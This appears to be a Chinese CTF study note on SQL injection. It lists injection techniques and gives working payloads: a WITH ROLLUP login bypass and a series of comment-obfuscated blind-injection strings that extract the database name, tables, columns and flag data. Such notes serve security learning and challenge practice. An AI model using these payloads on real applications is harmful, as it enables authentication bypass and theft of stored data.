- 寬字節注入
- 基於約束的注入
- 報錯注入
- 時間盲注
- bool盲注
- order by的注入
- INSERT、UPDATE、DELETE相關的注入
- 堆疊注入
- 二次注入
- 文件讀寫
- 常用繞過
- 萬能密碼
參考:CTF SQL注入
這里再提一下過濾了select|from|where|join|sleep|and|\s|union|,
后的WITH ROLLUP繞過
WITH ROLLUP是對group by的結果進行進一步的匯總然后顯示,在group by 列名 with rollup 中,倘若按列名分組后,列的屬性值是不相同的,會生成一條分組條件的列為null的一條新的數據。而如果查詢結果是唯一的,一會生成一條分組條件所在列為null的數據。
我們就是要通過with rollup使sql語句查詢結果為null,然后不輸入password使password為null就可以使password==password==row[‘password’]
payload = 'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#WITH ROLLUP進行繞過
慣用思路(這里的例子是之前做的一道mysql盲注題,題目過濾了很多符號,如:單引號、空格和逗號):
1、首先通過database()函數得到庫名,或者去information_schema.schemata表查詢schema_name
"0/**/or/**/ascii(substring(database()/**/from/**/%d/**/for/**/1))=%d#" % (i, j)
2、然后去information_schema.tables表利用table_schema查詢table_name
"0/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))=%d#" % (i, j)
3、接着去information_schema.columns表利用table_name查詢column_name
"0/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))=%d#" % (i, j)
4、最后select column_name from table_name 得到flag
"0/**/or/**/ascii(substr((select/**/*/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d#" % (i, j)